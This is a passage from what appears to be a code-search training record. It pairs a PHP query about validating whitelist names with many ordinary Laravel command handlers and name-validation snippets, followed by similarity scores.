for $entityName in {$this->fixturePath}...\");\n \n $this->generateFixtures($entityName, $startEntityId, $endEntityId, $depth);\n }", "public function handle()\n {\n $check = PublishTraitsService::publishTraits();\n\n if ($check)\n {\n $this->info('All files have been published');\n }\n\n $this->info('Failed to publish');\n }", "public function handle()\n {\n $user = User::where('username', $this->argument('user'))\n ->orWhere('email', $this->argument('user'))\n ->first();\n\n if ($user != null) {\n $user->assign('admin');\n $this->line(\"{$user->email} was successfully made an admin.\");\n } else {\n $this->line(\"No user found where username or email is '{$this->argument('user')}'\");\n }\n }", "public function handle()\n {\n event( 'laraview:compile' );\n $this->checkForSelectedViewGeneration();\n\n app( RegisterBlueprint::class )\n ->console( $this )\n ->generate();\n }", "public function handle()\n {\n $project = Project::with(['team.admins', 'team.members'])->findOrFail($this->option('project-id'));\n $user = User::findOrFail($this->option('user-id'));\n if ($this->option('admin')) {\n $project->team->admins()->syncWithoutDetaching($user);\n } else {\n $project->team->members()->syncWithoutDetaching($user);\n }\n return Command::SUCCESS;\n }", "public function handle() {\n try {\n $this->roomService->loadRoomOccupations();\n Log::notice('untis:occupations executed successfully.');\n $this->line('Loaded room occupations from WebUntis.');\n } catch (Exception $e) {\n Log::error('Error loading room occupations.', ['exception' => $e]);\n $this->error('Error loading room occupations: ' . $e->getMessage());\n }\n }", "public function handle()\n {\n $this->loadIxList();\n $this->loadIxMembersList();\n $this->updateIxInfo();\n $this->updateIxMembersInfo();\n }", "public function handle()\n {\n $this->call('vendor:publish', [\n '--provider' => \"Qoraiche\\MailEclipse\\MailEclipseServiceProvider\",\n ]);\n }", "public function handle()\n\t{\n\t\tif ($this->option('dev')) {\n\t\t\tsystem('php '.base_path('.deploy/deploy-dev.php'));\n\t\t} else {\n\t\t\tsystem('php '.base_path('.deploy/deploy.php'));\n\t\t}\n\t}", "public function handle(Command $command);", "public function handle(Command $command);", "public function handle()\n {\n $date_from = $this->argument('date_from');\n\t\t$date_to = $this->argument('date_to');\n\t\tif(!$date_from) {\n\t\t\t$date_from = Carbon::today()->subDays(5);\n\t\t}\n\t\tif(!$date_to) {\n\t\t\t$date_to = Carbon::yesterday();\n\t\t}\n\t\tStats::computeMembers($this->argument('venue_id'), $date_from, $date_to);\n }", "public function handle()\n {\n switch ($this->argument('type')){\n case 'fih':\n $scrapper = new Scrappers\\FederationScrapper();\n $scrapper->get($this->option('level'));\n print $scrapper->message();\n break;\n }\n }", "public function handle()\n {\n Log::info(\"seed:dash Command is working fine!\");\n $this->info('Dashboard Database seeding completed successfully.');\n }", "public function handle()\n {\n $originalId = $this->argument('original_id');\n\n $status = true;\n if ($this->option('status') === 'false') {\n $status = false;\n }\n\n if ($video = Video::where('original_id', $originalId)->first()) {\n $video->dmca_claim = $status;\n $video->save();\n\n $this->info('Video\\'s dmca_claim set to: ' . json_encode($status));\n return ;\n }\n\n $this->error('No video found with original_id of: ' . $originalId);\n return;\n }", "public function handle()\n {\n $this->call('config:clear');\n\n $this->call('config:update');\n\n $this->info('Configuration cached successfully!');\n }", "public function handle()\n {\n //\n $modelName = $this->argument('model');\n $column = $this->argument('column');\n $this->generateMutation($modelName, $column);\n\n }", "public function handle()\n {\n $filePath = 'public/' . $this->argument('fileName');\n $count = $this->argument('count');\n \n $fileData = array_slice(file($filePath), 0, $count);\n $this->info(implode('', $fileData));\n }", "public function handle()\n {\n $email = $this->argument('email');\n\n Mail::to($email)->send(new SendMailable('Test Mail'));\n\n if (Mail::failures()) {\n $this->info('Email failed to send');\n } else {\n $this->info('Email successfully sent');\n }\n }", "public function handle()\n {\n $this->call('route:trans:clear');\n\n $this->cacheRoutesPerLocale();\n\n $this->info('Routes cached successfully for all locales!');\n }", "public function handle()\n {\n $this->info('Welcome to command for Bantenprov\\WilayahIndonesia package');\n }", "public function handle()\n {\n if($this->hasOption('no_dump') && $this->option('no_dump')){\n $this->composer_dump = false;\n }\n $this->readyDatas();\n $this->datas['startSymbol']='{{';\n $this->datas['endSymbol']='}}';\n $this->create();\n }", "public function handle()\n {\n $repository = new OglasiCrawlerRepository();\n $ads = $repository->getAds();\n $repository->saveAds($ads);\n\n echo 'Ads were successfully retrieved' . PHP_EOL;\n }", "public function handle()\n {\n $this->makeDir($this->basePath . $this->kebabPlural());\n\n $this->exportViews();\n\n $this->info('Resource views generated successfully.');\n }", "public function handle()\n {\n $movies = \\App\\Models\\Movie::whereNull('meta')->take(40)->orderBy('id')->get();\n $movies->each(function($movie){ sleep(1); $movie->getMeta(); });\n return Command::SUCCESS;\n }", "public function handle()\n {\n $this->packageGenerator->setConsole($this)\n ->setPackage($this->argument('package'))\n ->setType('shipping')\n ->setForce($this->option('force'))\n ->generate();\n }", "public function handle()\n {\n $test = $this->argument('test');\n\n $dir = config('speed-test.dir');\n\n $className = ucfirst(\\Str::camel($test));\n\n $namespace = config('speed-test.namespace');\n\n $class = class_entity($className)\n ->namespace($namespace);\n\n $class->method('speed1')\n ->line($this->option('line'))->doc(function ($doc) use ($className) {\n /** @var DocumentorEntity $doc */\n $doc->tagCustom('times', $this->option('times'));\n $doc->description($this->option('description') ?: \"{$className} Speed 1\");\n });\n\n if (! is_dir($dir)) {\n mkdir($dir, 0777, 1);\n }\n\n file_put_contents(\n $dir.'/'.$className.'.php',\n $class->wrap('php')\n );\n\n $this->info('Speed created!');\n\n return 0;\n }", "public function handle()\n {\n $message = $this->GenerateRandomUser($this->argument('count'));\n $this->info($message);\n }", "public function handle()\n {\n $host = Cache::get('executingHost', null);\n $this->info(\"Host: ${host}\");\n\n if ($host === null) {\n $this->info('実行するホストが選択されていません');\n return;\n }\n\n if (Schema::hasTable('companies') && Company::count() !== 0) {\n $this->info('マイグレーションが既に1回以上実行されています');\n return;\n }\n\n $should_execute = $host === $this->argument('executingHost');\n\n if ($should_execute) {\n Artisan::call('migrate:fresh', ['--seed' => true]);\n $this->info('マイグレーションが完了しました');\n\n Cache::forget('executingHost');\n } else {\n $this->info('別ホストにてマイグレーションが行われます');\n }\n }", "public function handle()\n {\n // Configuration...\n $this->callSilent('vendor:publish', ['--tag' => 'model-login-config']);\n\n // Migrations\n $this->callSilent('vendor:publish', ['--tag' => 'model-login-migrations']);\n\n $this->info('Model Login resources published.');\n }", "public function handle()\n {\n if ($this->validation()) {\n $money = $this->argument('money');\n Cache::increment('amount', $money);\n }\n }", "public function handle()\n {\n $this->info('Publishing stuff..');\n\n $this->publishFiles();\n\n $this->info('Setup complete. Enjoy!');\n }", "public function handle()\n {\n $this->publishConfig();\n $this->publishClassStub();\n $this->generateAndStoreKey();\n\n $this->info('Use the details below for your \"Lead delivery options\" in Google Ads.');\n $this->info('Webhook URL: ' . route('GoogleAdsLeadExtensionController@index'));\n $this->info('Key: ' . $this->generated_key);\n }", "public function handle()\n {\n $opts = $this->options();\n $args = $this->arguments();\n #print_r($opts);\n #print_r($args);\n\n # Redundant as argument validation handled by Laravel\n #\n if (!isset($args['destination'])) {\n printf(\"Usage: php artisan %s\\n\", $this->signature);\n exit(1);\n }\n\n # Default to normal message type\n #\n if (!isset($opts['type'])) {\n $opts['type'] = 'normal';\n }\n\n $uac = new UserApiController();\n\n if ($opts['type'] == 'normal') {\n if (!isset($opts['message'])) {\n printf(\"Usage: php artisan %s\\n\\n\", $this->signature);\n printf(\"ERROR: Message must be specified for type 'normal'\\n\");\n exit(1);\n }\n $result = $uac->sendSms(\n $args['destination'],\n $opts['message'],\n $opts['route']\n );\n }\n else if ($opts['type'] == 'otp') {\n $result = $uac->sendVerificationSms(\n $args['destination'],\n '<code>',\n '<name>',\n $opts['route'],\n '<appName>'\n );\n }\n\n if ($result === true) {\n printf(\"INFO: SMS message to %s sent successfully (%s)\\n\",\n $args['destination'], $opts['type']);\n }\n else {\n printf(\"INFO: SMS message to %s failed to send (%s)\\n\", \n $args['destination'], $opts['type']);\n printf(\"ERROR: %s\\n\", $result);\n }\n\n return;\n }" ]
[ "0.6469962", "0.6463639", "0.64271367", "0.635053", "0.63190264", "0.62747604", "0.6261977", "0.6261908", "0.6235821", "0.62248456", "0.62217945", "0.6214421", "0.6193356", "0.61916095", "0.6183878", "0.6177804", "0.61763877", "0.6172579", "0.61497146", "0.6148907", "0.61484164", "0.6146793", "0.6139144", "0.61347336", "0.6131662", "0.61164206", "0.61144686", "0.61109483", "0.61082935", "0.6105106", "0.6103338", "0.6102162", "0.61020017", "0.60962653", "0.6095482", "0.6091584", "0.60885274", "0.6083864", "0.6082142", "0.6077832", "0.60766655", "0.607472", "0.60739267", "0.607275", "0.60699606", "0.6069931", "0.6068753", "0.6067665", "0.6061175", "0.60599935", "0.6059836", "0.605693", "0.60499364", "0.60418284", "0.6039709", "0.6031963", "0.6031549", "0.6027515", "0.60255647", "0.60208166", "0.6018581", "0.60179937", "0.6014668", "0.60145515", "0.60141796", "0.6011772", "0.6008498", "0.6007883", "0.60072047", "0.6006732", "0.60039204", "0.6001778", "0.6000803", "0.59996396", "0.5999325", "0.5992452", "0.5987503", "0.5987503", "0.5987477", "0.5986996", "0.59853584", "0.5983282", "0.59804505", "0.5976757", "0.5976542", "0.5973796", "0.5969228", "0.5968169", "0.59655035", "0.59642595", "0.59635514", "0.59619296", "0.5960217", "0.5955025", "0.5954439", "0.59528315", "0.59513766", "0.5947869", "0.59456027", "0.5945575", "0.5945031" ]
0.0
-1
/ returns true if $name is a valid name for a whitelist file name or ip
function is_validwhitelistname($name) { if (!is_string($name)) return false; if (!preg_match("/[^a-zA-Z0-9\_\.\/]/", $name)) return true; return false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function is_validwhitelistname($name) {\n\tif (!is_string($name))\n\treturn false;\n\n\tif (!preg_match(\"/[^a-zA-Z0-9\\.\\/]/\", $name))\n\treturn true;\n\n\treturn false;\n}", "public static function filename_valid($name) {\n return strlen($name) < 100 && preg_match(\"/^[a-z0-9 \\.-]+$/i\", $name) != 0;\n }", "public static function checkName($name)\r\n {\r\n if (strlen($name) >= 4) {\r\n return true;\r\n }\r\n return false;\r\n }", "function check_filename_security($name)\n{\n\tif (strstr($name, \".\") || strstr($name, \"/\") || strstr($name, \":\") ||\n\t strstr($name, \"\\\\\")) {\n\t \terror(\"Security violation!\\n\");\n\t\treturn 1;\n\t}\n\treturn 0;\n}", "public static function isValidName($name) {}", "public function name_validation($name){\n\t\tif(!preg_match('/^[a-zA-Z0-9. ]*$/',$name)){ \n\t\t\treturn true;\n \t}\n }", "public static function checkName($name)\n {\n if (strlen($name) >= 2) {\n return true;\n }\n return false;\n }", "function isValidName ($name)\r\n{\r\n global $cf_reservedpattern;\r\n\r\n $reservedpattern = $cf_reservedpattern ? $cf_reservedpattern : '[_a-z]{0,1}([\\d]+)';\r\n\r\n if (preg_match(\"%^\".$reservedpattern.\"$%i\", $name, $matches))\r\n return FALSE; // reserved - not permitted\r\n\r\n $pattern = '[a-z\\d][_a-z\\d]{2,23}';\r\n if (preg_match('%^'.$pattern.'$%i', $name))\r\n if (!preg_match(\"%^(api|com|biz|def|gov|net|org|wap|web|www|gamma|mobile|mygamma|buzzcity|netbeacon)[\\d]*$%i\", $name))\r\n return TRUE;\r\n\r\n return FALSE; // not permitted\r\n}", "public static function isValidName( $name ) {\n return TRUE;\n }", "public static function nameIsValid($name) {\r\n return ( is_string($name) && !empty($name) && strlen($name) >=2 ); \r\n }", "public static function isName($name)\n {\n return preg_match(Tools::cleanNonUnicodeSupport('/^[^0-9!<>,;?=+()@#\"°{}_$%:¤|]*$/u'), stripslashes($name));\n }", "private function _checkName($name)\n {\n if (!preg_match('/' . $this->_packet->question[0]->qname . '$/', $name)) {\n \n throw new Net_DNS2_Exception(\n 'name provided (' . $name . ') does not match zone name (' .\n $this->_packet->question[0]->qname . ')',\n Net_DNS2_Lookups::E_PACKET_INVALID\n );\n }\n \n return true;\n }", "private function validName($name): bool {\n\t\t$pattern = '~\n# XML 1.0 Name symbol PHP PCRE regex <http://www.w3.org/TR/REC-xml/#NT-Name>\n(?(DEFINE)\n (?<NameStartChar> [A-Z_a-z\\\\xC0-\\\\xD6\\\\xD8-\\\\xF6\\\\xF8-\\\\x{2FF}\\\\x{370}-\\\\x{37D}\\\\x{37F}-\\\\x{1FFF}\\\\x{200C}-\\\\x{200D}\\\\x{2070}-\\\\x{218F}\\\\x{2C00}-\\\\x{2FEF}\\\\x{3001}-\\\\x{D7FF}\\\\x{F900}-\\\\x{FDCF}\\\\x{FDF0}-\\\\x{FFFD}\\\\x{10000}-\\\\x{EFFFF}])\n (?<NameChar> (?&NameStartChar) | [.\\\\-0-9\\\\xB7\\\\x{0300}-\\\\x{036F}\\\\x{203F}-\\\\x{2040}])\n (?<Name> (?&NameStartChar) (?&NameChar)*)\n)\n^(?&Name)$\n~ux';\n\t\treturn (1 === preg_match($pattern, $name));\n\t}", "function valid_name($name) {\r\n\tif (empty($name)) \r\n\t\treturn false;\r\n\telse\r\n\t\treturn true;\r\n }", "public function isLegalName($name) {\n\t\t// This variable name is special to bash, so we can't use it\n\t\tif ( $name === '_' ) {\n\t\t\treturn false;\n\t\t}\n\t\treturn (bool) preg_match('/^[_A-Za-z][A-Za-z0-9_]*$/', $name);\n\t}", "function validate_name($name)\r\n\t{\r\n\t\t$trim = trim($name);\r\n\t\tif(strlen($trim) > 1)\r\n\t\t{\r\n\t\t\treturn TRUE;\r\n\t\t}\r\n\t\treturn FALSE;\r\n\t}", "protected static function isValidName($name)\n {\n return '' === $name || null === $name || preg_match('/^[a-zA-Z0-9_][a-zA-Z0-9_\\-:]*$/D', $name);\n }", "public function name(string $name) : bool\n\t{\n\t\tif (!preg_match(\"/^[a-zA-Z ]*$/\",$name)) {\n\t\t\t$this->errors[] = 'Only letters and white space allowed';\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}", "function isCorrectFilename ($name) {\r\n if (!empty($name)) {\r\n if (preg_match('/[a-zA-Z0-9_]/', $name)) {\r\n return true;\r\n }\r\n }\r\n return false;\r\n}", "private function ValidateName($name){\n if (empty($name)){ //checks if empty\n $this->valid = False;\n }else if (strlen($name)>= 30){ //checks max length\n $this->valid = False;\n }else if(!preg_match(\"/^[a-zA-Z ]*$/\",$name)){ //checks format\n $this->valid = False;\n }\n }", "private function checkName($file) \n {\n return $this->imageConstraint->checkName($file);\n }", "function validateUserName($name)\n {\n /**condition for validating the type and size of user input string\n *takes user input name as a parameter for validating with the set conditons\n */\n if (preg_match('/[a-zA-Z]{3}/', $name)) {\n return true;\n }\n }", "public function validName(string $ressourceName): bool\n {\n $minLength = 3;\n $maxLength = 255;\n $regex = '/^[a-z](?!oog)([a-z0-9-_.~+%]){'.$minLength.','.$maxLength.'}+$/';\n\n $isValid = (preg_match($regex, $ressourceName)) ? true : false;\n\n return $isValid;\n }", "function validName($name)\n {\n //name should not be empty and should contain only letters\n return !empty($name) && ctype_alpha($name);\n }", "public static function validateName($name) {\n\t\tif (!empty($name)) {\n\t\t\tif (preg_match('/^[a-z0-9 ]{3,}$/i', $name)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "function _name_check($str){\n }", "function validateName($name) {\n\tif (!preg_match('/[^A-Za-z]+/', $name) && strlen($name) >= 2 && strlen($name) <= 20)\n\t\treturn 1;\t//name is valid\n\telse\n\t\treturn 0;\n}", "public static function filenameIsValid ($name, $disallowedExtensions = array (), $allowedExtensions = array ())\r\n\t{\r\n\t\t# Determine the extension of the file\r\n\t\t$extension = '.' . pathinfo ($name, PATHINFO_EXTENSION);\r\n\t\t\r\n\t\t# Check for a disallowed extension\r\n\t\tif ($disallowedExtensions) {\r\n\t\t\tif (self::iin_array ($extension, $disallowedExtensions)) {\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t# Check whether it's an allowed extension if a list has been supplied\r\n\t\tif ($allowedExtensions) {\r\n\t\t\treturn (self::iin_array ($extension, $allowedExtensions));\r\n\t\t}\r\n\t\t\r\n\t\t# Otherwise pass\r\n\t\treturn true;\r\n\t}", "private function accept(?string $name): bool\n {\n if (null === $name || empty($name)) {\n return false;\n }\n\n foreach ($this->ignores as $ignore) {\n if (0 === strpos($name, $ignore)) {\n return false;\n }\n }\n\n foreach ($this->namespaces as $namespace) {\n if (0 === strpos($name, $namespace) || '*' === $namespace) {\n return true;\n }\n }\n\n return false;\n }", "public static function validateName($name) {\n if (preg_match(\"/^[a-zA-Z]*$/\",$name))\n return true;\n else\n return false;\n }", "public function name_valid($name) {\n if (!preg_match(\"/^[a-z0-9]+$/i\", $name)) {\n /* name contains invalid characters */\n return false;\n }\n\n if (strlen($name) >= 100) {\n /* name is too long */\n return false;\n }\n\n /* name already exists? */\n $stmt = get_pdo()->prepare('select * from user where name = :name');\n $stmt->bindValue(':name', $name);\n $stmt->execute();\n return count($stmt->fetchAll()) == 0;\n }", "private function validateName($name)\n {\n if($name != NULL && $name != \"\"){\n return TRUE;\n } else {\n return FALSE;\n }\n }", "function is_name_valid($input)\n {\n return (preg_match(\"/^([-a-z_ ])+$/i\", $input)) ? TRUE : FALSE;\n }", "public static function isFileName($name)\n {\n return preg_match('/^[a-zA-Z0-9_.-]+$/', $name);\n }", "public static function validateStreamName($name) {\n\t\t\t\treturn (strlen($name) < 32 && strlen($name) > 0) ? true : \"Name must be between 1 to 32 characters\";\n\t\t}", "function validName($name)\r\n {\r\n $name = str_replace(' ', '', $name);\r\n return !empty($name) && ctype_alpha($name);\r\n }", "function validate_name($name){\n\n\tif(empty($name)){\n\t\t\n\t\treturn false;\n\t\t\n\t}\n\t else if(count(explode(' ',$name)) <2){\n\t\t\n\t\t\n\t\t\treturn false;\n\t\t\n\t}\n\t\n\telse if(!preg_match(\"/^[a-zA-Z \\.\\-]*$/\",$name)){\n\t\t\n\t\t\n\t\treturn false;\n\t}\n\telse if(!preg_match(\"/^[a-zA-Z]*$/\",$name[0])){\n\t\t\n\t\t\n\t\treturn false;\n\t}\n\telse{\n\t\t\n\t\treturn true;\n\t}\n\t\n\t\n}", "public function checkName($file)\n {\n if(empty($file['name'])) {\n $this->alert->set('error', 'normal', 'main', \"Le nom de votre image n'est pas reconnu.\");\n }\n return (empty($file['name']))? false : true;\n }", "function validateName($name)\n {\n return (mb_strlen($name) <= CUSTOMER_NAME_MAX_LENGTH && mb_strlen($name) !== 0);\n }", "public static function isValidName($name)\n {\n try {\n new static($name);\n } catch (Throwable $th) {\n return false;\n }\n\n return true;\n }", "private final static function validDbName($name)\n {\n return !preg_match('#[^a-z_]|^[^a-z]|[^a-z]|__$#', $name);\n }", "public static function isValid($name)\n {\n $tot = strlen($name);\n for ($i = 0; $i < $tot; $i += 1) {\n $ord = ord($name[$i]);\n if ($ord < 33 || $ord > 126 || $ord === 58) {\n return false;\n }\n }\n return true;\n }", "static function validName($name)\r\n {\r\n if (ctype_alpha($name)) {\r\n return $name;\r\n } else if ($name == \"\") {\r\n return !empty($name);\r\n }\r\n }", "function isValidName($name)\n{\n if (! preg_match(\"/^[a-zA-Z ]*$/\", $name)) {\n return false;\n }\n return true;\n}", "private final static function validClassName($name)\n {\n # a-z, 0-9. Must start with a capitalised letter\n return !preg_match('#[^A-Za-z0-9]|^[^A-Z]#', $name);\n }", "public function isValidFilename()\n {\n $fileName = $this->fileName;\n if(substr($fileName, 0,1) == '-') {\n return false;\n }\n return true;\n }", "function isUploadBannedItem($file_name) {\n // 파일 업로드 금지\n $ban_list = array('php', 'html', 'css', 'js'); // 금지 파일 확장자 수정 필요!!\n $exp_file_name = explode('.', $file_name);\n\n // 확장자 소문자로 가져오기\n $ext = strtolower($exp_file_name[sizeof($exp_file_name) - 1]);\n if (in_array($ext, $ban_list)) {\n return false;\n }\n return true;\n}", "function isNameViable(){\n\t$postName = filter_var($_POST['name'], FILTER_SANITIZE_SPECIAL_CHARS);\n\tif(strlen($postName) < 3){\n\t\treturn false;\n\t}\n\n\t$f = $postName[0]; #first letter is predicted class\n\t$s = $postName[1]; #second letter is actual class\n\t#third letter is '_'\n\tif(($f=='B' || $f=='D' || $f=='F' || $f=='L' || $f=='R') && \n\t\t($s=='B' || $s=='D' || $s=='F' || $s=='L' || $s=='R') &&\n\t\t$postName[2]=='_'){\n\t\t\treturn true;\n\t} else{\n\t\treturn false;\n\t}\n}", "function verifyUserName($name) {\r\n if (preg_match('/^[a-zA-Z0-9\\ \\\\._\\'\"-]{4,50}$/', $name) != 1) { // no match\r\n return \"Name must be 4-50 characters long and consist of letters, digits, \"\r\n . \"spaces, dots, underscores, apostrophies, or minus sign.\";\r\n }\r\n return TRUE;\r\n}", "private function validate(string $name): bool\n {\n $errors = $this->validator\n ->validate(\n $this->dirName->setName($name)\n );\n \n if (count($errors)) {\n return false;\n }\n \n return true;\n }", "function isValidName($titreDocument){\n\tif(!(strlen($titreDocument) >= 3 && strlen($titreDocument) <= 100))\n\t\treturn false;\n\tif($titreDocument == '.htaccess' || $titreDocument == '.htpassword' || $titreDocument == 'robots.txt'){\n\t\treturn false;\n\t}\n\n\treturn preg_match('#^([&a-zA-Zéèàç\\(\\)0-9_\\[\\]\\-\\.: \\?\\=])+$#', $titreDocument);\n}", "function ValidateName($name)\n{\n $chars = str_split($name);\n\n // Assess each character\n foreach ($chars as $char) {\n if (!ValidateChar($char)) {\n return false;\n }\n }\n\n // // Check for empty\n // if (empty($name)) {\n // return false;\n // }\n\n return true;\n}", "public function validateExtensionplan(){\n $allowed = array('jpeg', 'jpg', 'png');\n $filename = $this->getplanFloor('name');\n $ext = pathinfo($filename, PATHINFO_EXTENSION);\n if(!in_array($ext,$allowed)) {\n return false;\n } else {\n return true;\n }\n }", "protected function _filterRequestNames($name)\n {\n return '_' !== $name[0];\n }", "static function isName($name)\n {\n return in_array($name, array(\"close_connection\",\n \"savepoint\",\n \"savepoint_rollback\",\n \"savepoint_release\",\n \"commit\",\n \"rollback\",\n \"prepare\",\n \"recover\",\n \"commit_by_xid\",\n \"rollback_by_xid\",\n \"create_cursor_read_view\",\n \"set_cursor_read_view\",\n \"close_cursor_read_view\",\n \"create_handler\",\n \"drop_database\",\n \"panic_call\",\n \"release_temporary_latches\",\n \"update_statistics\",\n \"start_snapshot\",\n \"flush_logs\",\n \"show_status\",\n \"partition_flags\",\n \"alter_table_flags\",\n \"alter_tablespace\",\n \"fill_files_table\",\n \"binlog_func\",\n \"binlog_log_query\"\n ));\n }", "public static function isValidPhpVariableName($name)\n {\n return (bool) preg_match('/^[a-zA-Z_\\x7f-\\xff][a-zA-Z0-9_\\x7f-\\xff]*$/', $name, $matches);\n }", "function valid_name($name){\r\n for($i = 0; $i < strlen($name); $i++){\r\n if( is_numeric( $name[$i] ) ){\r\n return False;\r\n }\r\n }\r\n return True;\r\n }", "public function isValidNameOrError($name): bool\n {\n if ($name == \"\") {\n throw new Exception('Invalid Product Name');\n }\n return true;\n }", "public function validate_name($str){\n $allowed = array(\".\", \"-\", \"_\", \" \"); // you can add here more value, you want to allow.\n if(ctype_alnum(str_replace($allowed, '', $str ))) {\n return true;\n }\n else{\n return false;\n }\n }", "function is_validaliasname($name) {\n\tif (!preg_match(\"/(:word:)/\", $name))\n\treturn true;\n\telse\n\treturn false;\n}", "function pkg_valid_name($pkgname) {\n\tglobal $g;\n\n\t$pattern = \"/^{$g['pkg_prefix']}[a-zA-Z0-9\\.\\-_]+$/\";\n\treturn preg_match($pattern, $pkgname);\n}", "function is_reserved_name($str) {\n\t\t$reserved = array('name','value','content','parent','rank','password','timestamp');\n\t\tif(empty($str) || in_array($str, $reserved)) return true;\n\t\treturn false;\n\t}", "public function getValidatedName($name){\n\t if(empty($name)){\n\t \t$validName=FALSE;\n\t }\n\t\telse {\n\t\t\tif(strlen($name)==1){\n\t \t$validName=FALSE;\n\t }\n\t \t$validName = $this->sanitizeString($name);\n\t\t}\n\t return $validName;\n }", "public static function isCarrierName($name)\n {\n return empty($name) || preg_match(Tools::cleanNonUnicodeSupport('/^[^<>;=#{}]*$/u'), $name);\n }", "public static function isGenericName($name)\n {\n return empty($name) || preg_match(Tools::cleanNonUnicodeSupport('/^[^<>={}]*$/u'), $name);\n }", "public function hasValidNameArgument()\n {\n $name = $this->argument('name');\n\n if (! Str::contains($name, '/')) {\n $this->error(\"The name argument expects a vendor and name in 'Composer' format. Here's an example: `vendor/name`.\");\n\n return false;\n }\n\n return true;\n }", "protected function _validVariableName($name)\n {\n // @TODO: Update this list with more\n $named = array('pageName','channel','server','campaign','products','TnT','events','pageType','purchaseID', 'transactionID','state','zip','currencyCode','pageType');\n $count = array('hier', 'eVar', 'prop');\n \n // Check for named\n if(in_array($name, $named))\n return true;\n \n // Check against numbered vars\n foreach($count as $var)\n if(strpos($name, $var) === 0)\n return true;\n \n // No matches :(\n return false;\n }", "function _validateUsername($name)\n {\n return trim(substr(preg_replace('/[^A-Za-z0-9_ \\-]/', '',$name),0,24)); \n }", "public function isNameTake(string $name): bool;", "private function checkUsername($name){\n\t\t\tif(strlen($name) < 3)\n\t\t\t\tthrow new UserFewCharException();\n\t\t\tif($this->userList->getUsers()->getUserByName($name) != null)\n\t\t\t\tthrow new UserExistsException();\n\t\t\tif($name != strip_tags($name))\n\t\t\t\tthrow new UserBadCharException();\n\t\t\treturn true;\n\t\t}", "function testFileName(): void\n {\n $this->assertTrue(FileValidator::isName(\"docu.doc\"));\n $this->assertTrue(FileValidator::isName(\"docu\"));\n $this->assertFalse(FileValidator::isName(\"doc?u\"));\n }", "public static function isNameValid(string $val) : bool {\n $len = strlen($val);\n\n if ($len > 0) {\n for ($x = 0 ; $x < $len ; $x++) {\n $char = $val[$x];\n\n if ($char == '=' || $char == '&' || $char == '#' || $char == '?') {\n return false;\n }\n }\n\n return true;\n }\n\n return false;\n }", "function validFname($fname)\r\n {\r\n return !empty($fname) && ctype_alpha($fname);\r\n }", "static function checkNames($input)\r\n {\r\n if (preg_match('/^[\\w\\W][\\w\\W]{1,20}$/', $input)) {\r\n return true; //Illegal Character found!\r\n } else {\r\n echo PageBuilder::printError(\"Please enter alphabets only in name fields.\");\r\n return false;\r\n }\r\n }", "private function isValidXmlName($name): bool\n {\n try {\n new DOMElement($name);\n } catch (DOMException $e) {\n return false;\n }\n return true;\n }", "public function hasFile(string $name): bool {}", "public function validateRealname() {\r\n $leng = mb_strlen($this->data[$this->name]['RealName']);\r\n if ($leng > 128) {\r\n return FALSE;\r\n } else if ($leng > 64) {\r\n if (mb_ereg(self::_REGEX_FULLWITH, $this->data[$this->name]['RealName']) !== false) {\r\n return FALSE;\r\n }\r\n }\r\n return TRUE;\r\n }", "function check_privs($privs, $name)\n{\n\t$matches = false;\n\n\tforeach($privs['allow'] as $p)\n\t\tif(preg_match('/'.$p.'/', $name))\n\t\t{\n\t\t\t$matches = true;\n\t\t\tbreak;\n\t\t}\n\n\tif($matches)\n\t\treturn true;\n\n\tforeach($privs['deny'] as $p)\n\t\tif(preg_match('/'.$p.'/', $name))\n\t\t\treturn false;\n\n\treturn true;\n}", "private function validName() {\n\t\t\tif($this->conn->getNumResults(\"SELECT name FROM usergroup WHERE name = '\".mysql_real_escape_string($this->name).\"' AND groupId != '\".$this->groupId.\"'\") == 0)\n\t\t\t\treturn true;\n\t\t\treturn false;\n\t\t}", "function url_allowed ($url)\n{\n\trequire (\"url_handling_parameters.php\");\n\t\n\tif (eregiArray($url_forbidden,$url)) return false;\n\telse return true;\n}", "protected function isBaseNameValid($baseName)\n {\n $blnStatus = false;\n if ($baseName != \".\" && $baseName != \"..\") {\n $blnStatus = true;\n }\n\n return $blnStatus;\n }", "function isValidName($str)\n{\n $parts = explode(' ', $str);\n\n if (count($parts) < 2) {\n return false;\n }\n\n if ($str !== formatName($str))\n return false;\n\n return true;\n}", "public static function validate($name) {\n\t\treturn file_exists(TH_PLUGINS.$name.'/plugin.php');\n\t}", "function valid_email($name){\r\n if(strpos($name, '@') !== false)\r\n return true;\r\n else\r\n return false;\r\n }", "public static function nameAvailable( $name )\n {\n Database::all();\n\n if( !(preg_replace(\"/[^0-9]+/\", \"\", $name) == $name) )\n {\n if( (count($name) <= 16) && (count($name) > 0) )\n {\n if( preg_replace(\"/[^a-z0-9]+/\", \"\", $name) == $name )\n {\n if( !Database::DB( $name ) )\n {\n return true;\n }\n else{ commandResult( 403, \"Database \" . $name . \" already exists.\" ); }\n }\n else{ commandResult( 400, \"Database name (\" . $name . \") must be lower case alphanumeric.\" ); }\n }\n else{ commandResult( 400, \"Database name (\" . $name . \") cannot be longer than 16 characters.\" ); }\n }\n else{ commandResult( 400, \"Database name (\" . $name . \") cannot be a number alone.\" ); }\n\n return false;\n }", "public static function event_name_is_valid( $name ) {\n\t\treturn preg_match( self::EVENT_NAME_REGEX, $name );\n\t}", "public static function assertValidLocalName($name, $throw = true)\n {\n if ('.' === $name || '..' === $name) {\n return self::error(\"Name may not be parent or self identifier: $name\", $throw);\n }\n\n if (preg_match('/\\\\/|:|\\\\[|\\\\]|\\\\||\\\\*/', $name)) {\n return self::error(\"Name contains illegal characters: $name\", $throw);\n }\n\n return true;\n }", "function vName( $name ) \r\n\t\t{\t \r\n\t\t\t\t\r\n\t\t\t\treturn preg_match (\"/^[a-zA-ZàáâäãåąćęèéêëìíîïłńòóôöõøùúûüÿýżźñçčšžÀÁÂÄÃÅĄĆĘÈÉÊËÌÍÎÏŁŃÒÓÔÖÕØÙÚÛÜŸÝŻŹÑßÇŒÆČŠŽ∂ð ,.'-]+$/u\", $name);\r\n\t\t\t\t\t\t \r\n\t\t}", "public function hasExtension($name);", "public function isValid(string $fileName): bool\n {\n $pattern = '/[[:cntrl:]]/';\n if ($fileName !== '' && $this->fileDenyPattern !== '') {\n $pattern = '/(?:[[:cntrl:]]|' . $this->fileDenyPattern . ')/iu';\n }\n 